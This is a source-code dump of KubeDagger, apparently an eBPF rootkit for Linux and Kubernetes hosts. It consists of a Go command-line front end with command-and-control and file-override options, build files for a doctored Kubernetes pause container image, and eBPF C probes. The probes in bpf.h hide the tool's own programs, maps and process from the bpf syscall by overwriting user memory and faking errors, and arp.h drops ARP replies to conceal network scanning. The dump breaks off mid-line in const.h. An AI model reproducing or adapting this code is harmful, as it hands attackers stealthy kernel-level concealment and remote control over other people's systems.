-------------------------------------------------------------------------------- /cmd/kubedagger/main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "github.com/sirupsen/logrus" 21 | 22 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger/run" 23 | ) 24 | 25 | func main() { 26 | logrus.SetFormatter(&logrus.TextFormatter{ 27 | FullTimestamp: true, 28 | TimestampFormat: "2006-01-02T15:04:05Z", 29 | DisableLevelTruncation: true, 30 | }) 31 | run.KUBEDagger.Execute() 32 | } 33 | -------------------------------------------------------------------------------- /cmd/kubedagger/run/cmd.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package run 18 | 19 | import ( 20 | "github.com/spf13/cobra" 21 | ) 22 | 23 | // KUBEDagger represents the base command of kubeDagger 24 | var KUBEDagger = &cobra.Command{ 25 | Use: "kubedagger", 26 | RunE: kubeDaggerCmd, 27 | } 28 | 29 | var options CLIOptions 30 | 31 | func init() { 32 | KUBEDagger.Flags().VarP( 33 | NewLogLevelSanitizer(&options.LogLevel), 34 | "log-level", 35 | "l", 36 | `log level, options: panic, fatal, error, warn, info, debug or trace`) 37 | KUBEDagger.Flags().IntVarP( 38 | &options.KUBEDagger.TargetHTTPServerPort, 39 | "target-http-server-port", 40 | "p", 41 | 8000, 42 | "Target HTTP server port used for Command and Control") 43 | KUBEDagger.Flags().StringVarP( 44 | &options.KUBEDagger.IngressIfname, 45 | "ingress", 46 | "i", 47 | "enp0s3", 48 | "ingress interface name") 49 | KUBEDagger.Flags().StringVarP( 50 | &options.KUBEDagger.EgressIfname, 51 | "egress", 52 | "e", 53 | "enp0s3", 54 | "egress interface name") 55 | KUBEDagger.Flags().StringVar( 56 | &options.KUBEDagger.DockerDaemonPath, 57 | "docker", 58 | "/usr/bin/dockerd", 59 | "path to the Docker daemon executable") 60 | KUBEDagger.Flags().StringVar( 61 | &options.KUBEDagger.PostgresqlPath, 62 | "postgres", 63 | "/usr/lib/postgresql/12/bin/postgres", 64 | "path to the Postgres daemon executable") 65 | KUBEDagger.Flags().StringVar( 66 | &options.KUBEDagger.WebappPath, 67 | "webapp-rasp", 68 | "", 69 | "path to the webapp on which the RASP is installed") 70 | KUBEDagger.Flags().BoolVar( 71 | &options.KUBEDagger.DisableNetwork, 72 | "disable-network-probes", 73 | false, 74 | "when set, kubedagger will not try to load its network related probes") 75 | KUBEDagger.Flags().BoolVar( 76 | &options.KUBEDagger.DisableBPFObfuscation, 77 | "disable-bpf-obfuscation", 78 | false, 79 | "when set, kubedagger will not hide itself from the bpf syscall") 80 | KUBEDagger.Flags().StringVar( 81 | &options.KUBEDagger.TargetFile, 82 | "target", 83 | "", 84 | "(file override feature only) target file to override") 85 | KUBEDagger.Flags().StringVar( 86 | &options.KUBEDagger.SrcFile, 87 | "src", 88 | "", 89 | "(file override feature only) source file which content will be used to override the content of the target file") 90 | KUBEDagger.Flags().BoolVar( 91 | &options.KUBEDagger.AppendMode, 92 | "append", 93 | false, 94 | "(file override feature only) when set, the content of the source file will be appended to the content of the target file") 95 | KUBEDagger.Flags().StringVar( 96 | &options.KUBEDagger.Comm, 97 | "comm", 98 | "", 99 | "(file override feature only) comm of the process for which the file override should apply") 100 | } 101 | -------------------------------------------------------------------------------- /cmd/kubedagger/run/kubedagger.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package run 18 | 19 | import ( 20 | "fmt" 21 | "os" 22 | "os/signal" 23 | 24 | "github.com/pkg/errors" 25 | "github.com/sirupsen/logrus" 26 | "github.com/spf13/cobra" 27 | 28 | kubedagger "github.com/yasindce1998/KubeDagger/pkg/kubedagger" 29 | ) 30 | 31 | func kubeDaggerCmd(cmd *cobra.Command, args []string) error { 32 | logrus.SetLevel(options.LogLevel) 33 | 34 | kubeDagger := kubedagger.New(options.KUBEDagger) 35 | if err := kubeDagger.Start(); err != nil { 36 | return errors.Wrap(err, "couldn't start") 37 | } 38 | 39 | wait() 40 | 41 | _ = kubeDagger.Stop() 42 | return nil 43 | } 44 | 45 | // wait stops the main goroutine until an interrupt or kill signal is sent 46 | func wait() { 47 | sig := make(chan os.Signal, 1) 48 | signal.Notify(sig, os.Interrupt, os.Kill) 49 | <-sig 50 | fmt.Println() 51 | } 52 | -------------------------------------------------------------------------------- /cmd/kubedagger/run/options.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package run 18 | 19 | import ( 20 | "fmt" 21 | 22 | "github.com/sirupsen/logrus" 23 | 24 | kubedagger "github.com/yasindce1998/KubeDagger/pkg/kubedagger" 25 | ) 26 | 27 | // CLIOptions are the command line options of ssh-probe 28 | type CLIOptions struct { 29 | LogLevel logrus.Level 30 | KUBEDagger kubedagger.Options 31 | } 32 | 33 | // LogLevelSanitizer is a log level sanitizer that ensures that the provided log level exists 34 | type LogLevelSanitizer struct { 35 | logLevel *logrus.Level 36 | } 37 | 38 | // NewLogLevelSanitizer creates a new instance of LogLevelSanitizer. The sanitized level will be written in the provided 39 | // logrus level 40 | func NewLogLevelSanitizer(sanitizedLevel *logrus.Level) *LogLevelSanitizer { 41 | *sanitizedLevel = logrus.InfoLevel 42 | return &LogLevelSanitizer{ 43 | logLevel: sanitizedLevel, 44 | } 45 | } 46 | 47 | func (lls *LogLevelSanitizer) String() string { 48 | return fmt.Sprintf("%v", *lls.logLevel) 49 | } 50 | 51 | func (lls *LogLevelSanitizer) Set(val string) error { 52 | sanitized, err := logrus.ParseLevel(val) 53 | if err != nil { 54 | return err 55 | } 56 | *lls.logLevel = sanitized 57 | return nil 58 | } 59 | 60 | func (lls *LogLevelSanitizer) Type() string { 61 | return "string" 62 | } 63 | -------------------------------------------------------------------------------- /dockerhub/pause/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM k8s.gcr.io/pause:3.2 2 | COPY bin/pause /pause 3 | -------------------------------------------------------------------------------- /dockerhub/pause/Makefile: -------------------------------------------------------------------------------- 1 | all: container push 2 | 3 | build-pause-c: 4 | mkdir -p bin 5 | gcc -static -O3 pause.c -o bin/pause 6 | 7 | container: 8 | mkdir -p bin 9 | cp ../../bin/pause bin/ 10 | docker build -t gui774ume/pause2:latest -t gui774ume/pause2:3.2 --squash . 11 | 12 | login: 13 | docker login --username gui774ume 14 | 15 | push: 16 | docker push gui774ume/pause2:latest 17 | docker push gui774ume/pause2:3.2 18 | -------------------------------------------------------------------------------- /dockerhub/pause/pause.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2016 The Kubernetes Authors. 3 | Licensed under the Apache License, Version 2.0 (the "License"); 4 | you may not use this file except in compliance with the License. 5 | You may obtain a copy of the License at 6 | http://www.apache.org/licenses/LICENSE-2.0 7 | Unless required by applicable law or agreed to in writing, software 8 | distributed under the License is distributed on an "AS IS" BASIS, 9 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 10 | See the License for the specific language governing permissions and 11 | limitations under the License. 12 | */ 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include 23 | 24 | #define STRINGIFY(x) #x 25 | #define VERSION_STRING(x) STRINGIFY(x) 26 | 27 | #ifndef VERSION 28 | #define VERSION HEAD 29 | #endif 30 | 31 | static void sigdown(int signo) { 32 | psignal(signo, "Shutting down, got signal"); 33 | exit(0); 34 | } 35 | 36 | static void sigreap(int signo) { 37 | while (waitpid(-1, NULL, WNOHANG) > 0) 38 | ; 39 | } 40 | 41 | int main(int argc, char **argv) { 42 | int i; 43 | for (i = 1; i < argc; ++i) { 44 | if (!strcasecmp(argv[i], "-v")) { 45 | printf("pause.c (kubedagger) %s\n", VERSION_STRING(VERSION)); 46 | return 0; 47 | } 48 | } 49 | 50 | if (getpid() != 1) 51 | /* Not an error because pause sees use outside of infra containers. */ 52 | fprintf(stderr, "Warning: pause should be the first process\n"); 53 | 54 | if (sigaction(SIGINT, &(struct sigaction){.sa_handler = sigdown}, NULL) < 0) 55 | return 1; 56 | if (sigaction(SIGTERM, &(struct sigaction){.sa_handler = sigdown}, NULL) < 0) 57 | return 2; 58 | if (sigaction(SIGCHLD, &(struct sigaction){.sa_handler = sigreap, 59 | .sa_flags = SA_NOCLDSTOP}, 60 | NULL) < 0) 61 | return 3; 62 | 63 | for (;;) 64 | pause(); 65 | fprintf(stderr, "Error: infinite loop terminated\n"); 66 | return 42; 67 | } 68 | -------------------------------------------------------------------------------- /dockerhub/webapp/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:focal 2 | 3 | COPY bin/webapp /webapp 4 | ENTRYPOINT ["/webapp"] -------------------------------------------------------------------------------- /dockerhub/webapp/Makefile: -------------------------------------------------------------------------------- 1 | all: container push 2 | 3 | container: 4 | mkdir -p bin 5 | cp ../../bin/webapp bin/ 6 | docker build -t gui774ume/webapp:latest --squash . 7 | 8 | login: 9 | docker login --username gui774ume 10 | 11 | push: 12 | docker push gui774ume/webapp:latest 13 | -------------------------------------------------------------------------------- /ebpf/.gitignore: -------------------------------------------------------------------------------- 1 | bin/ 2 | -------------------------------------------------------------------------------- /ebpf/bootstrap.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #pragma clang diagnostic push 9 | #pragma clang diagnostic ignored "-Waddress-of-packed-member" 10 | #pragma clang diagnostic ignored "-Warray-bounds" 11 | #pragma clang diagnostic ignored "-Wunused-label" 12 | #pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end" 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | /* In Linux 5.4 asm_inline was introduced, but it's not supported by clang. 32 | * Redefine it to just asm to enable successful compilation. 33 | */ 34 | #ifdef asm_inline 35 | #undef asm_inline 36 | #define asm_inline asm 37 | #endif 38 | /* Before bpf_helpers.h is included, uapi bpf.h has been 39 | * included, which references linux/types.h. This may bring 40 | * in asm_volatile_goto definition if permitted based on 41 | * compiler setup and kernel configs. 42 | * 43 | * clang does not support "asm volatile goto" yet. 44 | * So redefine asm_volatile_goto to some invalid asm code. 45 | * If asm_volatile_goto is actually used by the bpf program, 46 | * a compilation error will appear. 47 | */ 48 | #ifdef asm_volatile_goto 49 | #undef asm_volatile_goto 50 | #endif 51 | #define asm_volatile_goto(x...) asm volatile("invalid use of asm_volatile_goto") 52 | #pragma clang diagnostic pop 53 | 54 | // Custom eBPF helpers 55 | #include "bpf/bpf.h" 56 | #include "bpf/bpf_map.h" 57 | #include "bpf/bpf_helpers.h" 58 | 59 | // kubedagger probes 60 | #include "kubedagger/const.h" 61 | #include "kubedagger/defs.h" 62 | #include "kubedagger/hash.h" 63 | #include "kubedagger/process.h" 64 | #include "kubedagger/fs_action_defs.h" 65 | #include "kubedagger/fs_action.h" 66 | #include "kubedagger/signal.h" 67 | #include "kubedagger/kmod.h" 68 | 69 | char _license[] SEC("license") = "GPL"; 70 | __u32 _version SEC("version") = 0xFFFFFFFE; 71 | -------------------------------------------------------------------------------- /ebpf/bpf/bpf_map.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | 9 | #ifndef _BPF_MAP_H_ 10 | #define _BPF_MAP_H_ 11 | 12 | #define BUF_SIZE_MAP_NS 256 13 | 14 | typedef struct bpf_map_def { 15 | unsigned int type; 16 | unsigned int key_size; 17 | unsigned int value_size; 18 | unsigned int max_entries; 19 | unsigned int map_flags; 20 | unsigned int inner_map_idx; 21 | unsigned int pinning; 22 | char namespace[BUF_SIZE_MAP_NS]; 23 | } bpf_map_def; 24 | 25 | enum bpf_pin_type { 26 | PIN_NONE = 0, 27 | PIN_OBJECT_NS, 28 | PIN_GLOBAL_NS, 29 | PIN_CUSTOM_NS, 30 | }; 31 | 32 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/arp.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _ARP_H_ 9 | #define _ARP_H_ 10 | 11 | SEC("xdp/ingress/arp_monitoring") 12 | int xdp_ingress_arp_monitoring(struct xdp_md *ctx) { 13 | struct cursor c; 14 | struct pkt_ctx_t pkt; 15 | 16 | xdp_cursor_init(&c, ctx); 17 | if (!(pkt.eth = parse_ethhdr(&c))) { 18 | return -1; 19 | } 20 | 21 | // filter ARP traffic 22 | if (pkt.eth->h_proto != htons(ETH_P_ARP)) { 23 | return XDP_PASS; 24 | } 25 | 26 | struct arp *ar = 0; 27 | if (!(ar = parse_arp(&c))) { 28 | return XDP_PASS; 29 | } 30 | 31 | // we only care about arp replies 32 | if (ar->hdr.ar_op != htons(ARPOP_REPLY)) { 33 | return XDP_PASS; 34 | } 35 | 36 | // we only care about ETH hardware and IPv4 37 | if (ar->hdr.ar_hrd != htons(ARPHRD_ETHER) || ar->hdr.ar_pro != htons(ETH_P_IP)) { 38 | return XDP_PASS; 39 | } 40 | 41 | // add monitoring 42 | struct flow_t flow = { 43 | .data = { 44 | .saddr = *(u32*)ar->ar_sip, 45 | .daddr = *(u32*)ar->ar_tip, 46 | .flow_type = ARP_REPLY, 47 | }, 48 | }; 49 | struct network_flow_counter_t counter = {}; 50 | monitor_flow(&flow, &counter); 51 | 52 | // insert new entry in ARP cache 53 | bpf_map_update_elem(&arp_cache, ar->ar_sip, ar->ar_sha, BPF_ANY); 54 | 55 | // update scan step 56 | struct network_scan_t *scan = bpf_map_lookup_elem(&arp_ip_scan_key, ar->ar_sip); 57 | if (scan != NULL) { 58 | struct network_scan_state_t *state = bpf_map_lookup_elem(&network_scans, scan); 59 | if (state == NULL) { 60 | goto next; 61 | } 62 | 63 | state->step = SYN_STEP; 64 | bpf_map_delete_elem(&arp_ip_scan_key, scan); 65 | 66 | bpf_printk("ARP response!\n"); 67 | // drop packet to hide the ARP reply 68 | return XDP_DROP; 69 | } 70 | 71 | next: 72 | // no need to dispatch 73 | return XDP_PASS; 74 | } 75 | 76 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/base64.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _BASE64_H_ 9 | #define _BASE64_H_ 10 | 11 | __attribute__((always_inline)) u8 to_base64_value(u8 c) 12 | { 13 | // A = 65 | Z = 90 14 | if (c >= 'A' && c <= 'Z') { 15 | return c - 65; 16 | } 17 | // a = 97 | z = 122 18 | if (c >= 'a' && c <= 'z') { 19 | return c - 71; 20 | } 21 | // 0 = 48 | 9 = 57 22 | if (c >= '0' && c <= '9') { 23 | return c + 4; 24 | } 25 | if (c == '+') { 26 | return 62; 27 | } 28 | if (c == '/') { 29 | return 63; 30 | } 31 | 32 | // padding 33 | return 0; 34 | } 35 | 36 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/bpf.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _BPF_H_ 9 | #define _BPF_H_ 10 | 11 | #include "../bpf/bpf.h" 12 | #include "../bpf/bpf_map.h" 13 | #include "../bpf/bpf_helpers.h" 14 | 15 | struct bpf_syscall_t { 16 | void *buf; 17 | int cmd; 18 | u32 id; 19 | }; 20 | 21 | struct bpf_map_def SEC("maps/bpf_cache") bpf_cache = { 22 | .type = BPF_MAP_TYPE_LRU_HASH, 23 | .key_size = sizeof(u64), 24 | .value_size = sizeof(struct bpf_syscall_t), 25 | .max_entries = 1024, 26 | .pinning = 0, 27 | .namespace = "", 28 | }; 29 | 30 | struct bpf_get_next_id_t { 31 | union { 32 | u32 start_id; 33 | u32 prog_id; 34 | u32 map_id; 35 | u32 btf_id; 36 | }; 37 | u32 next_id; 38 | u32 open_flags; 39 | }; 40 | 41 | struct bpf_task_fd_query_t { 42 | u32 pid; /* input: pid */ 43 | u32 fd; /* input: fd */ 44 | u32 flags; /* input: flags */ 45 | u32 buf_len; /* input/output: buf len */ 46 | /* 47 | __aligned_u64 buf; 48 | __u32 prog_id; 49 | __u32 fd_type; 50 | __u64 probe_offset; 51 | __u64 probe_addr; 52 | */ 53 | }; 54 | 55 | struct bpf_map_def SEC("maps/bpf_programs") bpf_programs = { 56 | .type = BPF_MAP_TYPE_HASH, 57 | .key_size = sizeof(u32), 58 | .value_size = sizeof(u32), 59 | .max_entries = 1024, 60 | .pinning = 0, 61 | .namespace = "", 62 | }; 63 | 64 | struct bpf_map_def SEC("maps/bpf_next_id") bpf_next_id = { 65 | .type = BPF_MAP_TYPE_ARRAY, 66 | .key_size = sizeof(u32), 67 | .value_size = sizeof(u32), 68 | .max_entries = 2, 69 | .pinning = 0, 70 | .namespace = "", 71 | }; 72 | 73 | struct bpf_map_def SEC("maps/bpf_maps") bpf_maps = { 74 | .type = BPF_MAP_TYPE_HASH, 75 | .key_size = sizeof(u32), 76 | .value_size = sizeof(u32), 77 | .max_entries = 1024, 78 | .pinning = 0, 79 | .namespace = "", 80 | }; 81 | 82 | __attribute__((always_inline)) int handle_bpf(int cmd, void *buf, size_t size) { 83 | u64 key = bpf_get_current_pid_tgid(); 84 | struct bpf_syscall_t bpf = { }; 85 | 86 | bpf.buf = buf; 87 | bpf.cmd = cmd; 88 | bpf_map_update_elem(&bpf_cache, &key, &bpf, BPF_ANY); 89 | 90 | return 0; 91 | } 92 | 93 | SYSCALL_KPROBE3(bpf, int, cmd, void *, buf, size_t, size) { 94 | return handle_bpf(cmd, buf, size); 95 | } 96 | 97 | __attribute__((always_inline)) int handle_bpf_ret(struct pt_regs *ctx) { 98 | u64 pid_tgid = bpf_get_current_pid_tgid(); 99 | struct bpf_syscall_t *bpf = bpf_map_lookup_elem(&bpf_cache, &pid_tgid); 100 | if (bpf == NULL) 101 | return 0; 102 | 103 | u32 tgid = pid_tgid >> 32; 104 | u32 *next_id; 105 | struct bpf_get_next_id_t get_next_id; 106 | struct bpf_task_fd_query_t query; 107 | 108 | switch (bpf->cmd) { 109 | case BPF_PROG_GET_NEXT_ID: 110 | bpf_probe_read(&get_next_id, sizeof(get_next_id), bpf->buf); 111 | 112 | // asked for our program, we hide it 113 | // this could be done at syscall enter 114 | next_id = bpf_map_lookup_elem(&bpf_programs, &get_next_id.start_id); 115 | if (next_id != NULL) { 116 | bpf_probe_write_user(((char*) bpf->buf) + 4, next_id, sizeof(*next_id)); 117 | if (*next_id == 0xffffffff) { 118 | bpf_override_return(ctx, -2); 119 | return 0; 120 | } 121 | } 122 | 123 | // asked for the program before ours, hide it too 124 | next_id = bpf_map_lookup_elem(&bpf_programs, &get_next_id.next_id); 125 | if (next_id != NULL) { 126 | u32 key = 0; 127 | next_id = bpf_map_lookup_elem(&bpf_next_id, &key); 128 | if (next_id != NULL) { 129 | bpf_probe_write_user(((char*) bpf->buf) + 4, next_id, sizeof(*next_id)); 130 | if (*next_id == 0xffffffff) { 131 | bpf_override_return(ctx, -ENOENT); 132 | return 0; 133 | } 134 | } 135 | } 136 | 137 | break; 138 | 139 | case BPF_PROG_GET_FD_BY_ID: 140 | if (tgid == get_kubedagger_pid()) 141 | return 0; 142 | 143 | // should be done at syscall enter 144 | bpf_probe_read(&get_next_id, sizeof(get_next_id), bpf->buf); 145 | 146 | next_id = bpf_map_lookup_elem(&bpf_programs, &get_next_id.prog_id); 147 | if (next_id != NULL) { 148 | bpf_override_return(ctx, -ENOENT); 149 | return 0; 150 | } 151 | 152 | break; 153 | 154 | case BPF_MAP_GET_NEXT_ID: 155 | bpf_probe_read(&get_next_id, sizeof(get_next_id), bpf->buf); 156 | 157 | // asked for our map, we hide it 158 | // this could be done at syscall enter 159 | next_id = bpf_map_lookup_elem(&bpf_maps, &get_next_id.start_id); 160 | if (next_id != NULL) { 161 | bpf_probe_write_user(((char*) bpf->buf) + 4, next_id, sizeof(*next_id)); 162 | if (*next_id == 0xffffffff) { 163 | bpf_override_return(ctx, -2); 164 | return 0; 165 | } 166 | } 167 | 168 | // asked for the map before ours, hide it too 169 | next_id = bpf_map_lookup_elem(&bpf_maps, &get_next_id.next_id); 170 | if (next_id != NULL) { 171 | u32 key = 1; 172 | next_id = bpf_map_lookup_elem(&bpf_next_id, &key); 173 | if (next_id != NULL) { 174 | bpf_probe_write_user(((char*) bpf->buf) + 4, next_id, sizeof(*next_id)); 175 | if (*next_id == 0xffffffff) { 176 | bpf_override_return(ctx, -ENOENT); 177 | return 0; 178 | } 179 | } 180 | } 181 | 182 | break; 183 | 184 | case BPF_MAP_GET_FD_BY_ID: 185 | if (tgid == get_kubedagger_pid()) 186 | return 0; 187 | 188 | // should be done at syscall enter 189 | bpf_probe_read(&get_next_id, sizeof(get_next_id), bpf->buf); 190 | next_id = bpf_map_lookup_elem(&bpf_maps, &get_next_id.map_id); 191 | if (next_id != NULL) { 192 | bpf_override_return(ctx, -ENOENT); 193 | return 0; 194 | } 195 | 196 | break; 197 | 198 | case BPF_PROG_LOAD: 199 | if (PT_REGS_RC(ctx) < 0) 200 | return 0; 201 | 202 | u32 key = 0; 203 | next_id = bpf_map_lookup_elem(&bpf_next_id, &key); 204 | if (next_id != NULL && *next_id == 0xffffffff) { 205 | bpf_map_update_elem(&bpf_next_id, &key, &bpf->id, BPF_ANY); 206 | } 207 | 208 | break; 209 | 210 | case BPF_MAP_CREATE: 211 | if (PT_REGS_RC(ctx) < 0) 212 | return 0; 213 | 214 | key = 1; 215 | next_id = bpf_map_lookup_elem(&bpf_next_id, &key); 216 | if (next_id != NULL && *next_id == 0xffffffff) { 217 | bpf_map_update_elem(&bpf_next_id, &key, &bpf->id, BPF_ANY); 218 | } 219 | 220 | break; 221 | 222 | case BPF_TASK_FD_QUERY: 223 | bpf_probe_read(&query, sizeof(query), bpf->buf); 224 | if (query.pid == get_kubedagger_pid()) { 225 | bpf_override_return(ctx, -ENOENT); 226 | return 0; 227 | } 228 | 229 | break; 230 | } 231 | 232 | bpf_map_delete_elem(&bpf_cache, &pid_tgid); 233 | return 0; 234 | } 235 | 236 | SYSCALL_KRETPROBE(bpf) { 237 | return handle_bpf_ret(ctx); 238 | } 239 | 240 | SEC("kprobe/bpf_prog_kallsyms_add") 241 | int kprobe_bpf_prog_kallsyms_add(struct pt_regs *ctx) { 242 | u64 pid_tgid = bpf_get_current_pid_tgid(); 243 | struct bpf_syscall_t *bpf = bpf_map_lookup_elem(&bpf_cache, &pid_tgid); 244 | if (bpf == NULL) 245 | return 0; 246 | 247 | struct bpf_prog *prog = (struct bpf_prog *) PT_REGS_PARM1(ctx); 248 | struct bpf_prog_aux *prog_aux; 249 | int res = bpf_probe_read(&prog_aux, sizeof(prog_aux), &prog->aux); 250 | if (res != 0) { 251 | bpf_printk("bpf_probe_read for prog_aux failed: %d\n", res); 252 | } 253 | 254 | u32 id; 255 | res = bpf_probe_read(&id, sizeof(id), &prog_aux->id); 256 | if (res != 0) { 257 | bpf_printk("bpf_probe_read for prog id failed: %d\n", res); 258 | } 259 | 260 | bpf->id = id; 261 | bpf_printk("prog id %d\n", id); 262 | return 0; 263 | } 264 | 265 | SEC("kprobe/bpf_map_new_fd") 266 | int kprobe_bpf_map_new_fd(struct pt_regs *ctx) { 267 | u64 pid_tgid = bpf_get_current_pid_tgid(); 268 | struct bpf_syscall_t *bpf = bpf_map_lookup_elem(&bpf_cache, &pid_tgid); 269 | if (bpf == NULL) 270 | return 0; 271 | 272 | struct bpf_map *map = (struct bpf_map *) PT_REGS_PARM1(ctx); 273 | 274 | u32 id; 275 | int res = bpf_probe_read(&id, sizeof(id), &map->id); 276 | if (res != 0) { 277 | bpf_printk("bpf_probe_read for map id failed: %d\n", res); 278 | } 279 | 280 | bpf->id = id; 281 | bpf_printk("map id %d\n", id); 282 | return 0; 283 | } 284 | 285 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/cgroup.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _CGROUP_H 9 | #define _CGROUP_H 10 | 11 | __attribute__((always_inline)) u8 is_in_container() { 12 | char buf[129]; 13 | size_t sz = 129; 14 | 15 | struct task_struct* cur_tsk = (struct task_struct*)bpf_get_current_task(); 16 | 17 | struct css_set* css_set; 18 | if (bpf_probe_read(&css_set, sizeof(css_set), &cur_tsk->cgroups) < 0) 19 | return 0; 20 | 21 | struct cgroup_subsys_state* css; 22 | if (bpf_probe_read(&css, sizeof(css), &css_set->subsys[0]) < 0) 23 | return 0; 24 | 25 | struct cgroup* cgrp; 26 | if (bpf_probe_read(&cgrp, sizeof(cgrp), &css->cgroup) < 0) 27 | return 0; 28 | 29 | struct kernfs_node* kn; 30 | if (bpf_probe_read(&kn, sizeof(kn), &cgrp->kn) < 0) 31 | return 0; 32 | 33 | const char* name; 34 | if (bpf_probe_read(&name, sizeof(name), &kn->name) < 0) 35 | return 0; 36 | 37 | if (bpf_probe_read_str(buf, sz, name) < 0) 38 | return 0; 39 | 40 | if (buf[0] == 0) 41 | return 0; 42 | 43 | return 1; 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /ebpf/kubedagger/const.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _CONST_H_ 9 | #define _CONST_H_ 10 | 11 | #define HTTP_PASS 0 12 | #define HTTP_DROP 1 13 | #define HTTP_EDIT 2 14 | 15 | #ifndef HTTP_REQ_PATTERN 16 | #define HTTP_REQ_PATTERN 61 17 | #endif 18 | 19 | #define HTTP_REQ_LEN 500 20 | #define HTTP_RESP_LEN 629 21 | 22 | #define HTTP_ACTION_HANDLER 0 23 | #define HTTP_GET_FS_WATCH_HANDLER 3 24 | #define DNS_RESP_HANDLER 4 25 | #define XDP_DISPATCH 11 26 | #define TC_DISPATCH 12 27 | #define ARP_MONITORING_HANDLER 15 28 | #define SYN_LOOP_HANDLER 16 29 | 30 | #define INGRESS_FLOW 1 31 | #define EGRESS_FLOW 2 32 | #define ARP_REQUEST 3 33 | #define ARP_REPLY 4 34 | #define SYN_REQUEST 5 35 | #define SYN_ACK 6 36 | #define RESET 7 37 | 38 | #define DNS_PORT 53 39 | #define DNS_MAX_LENGTH 256 40 | #define DNS_A_RECORD 1 41 | #define DNS_COMPRESSION_FLAG 3 42 | 43 | #define PING_NOP_CHR '0' 44 | #define PING_CRASH_CHR '1' 45 | #define 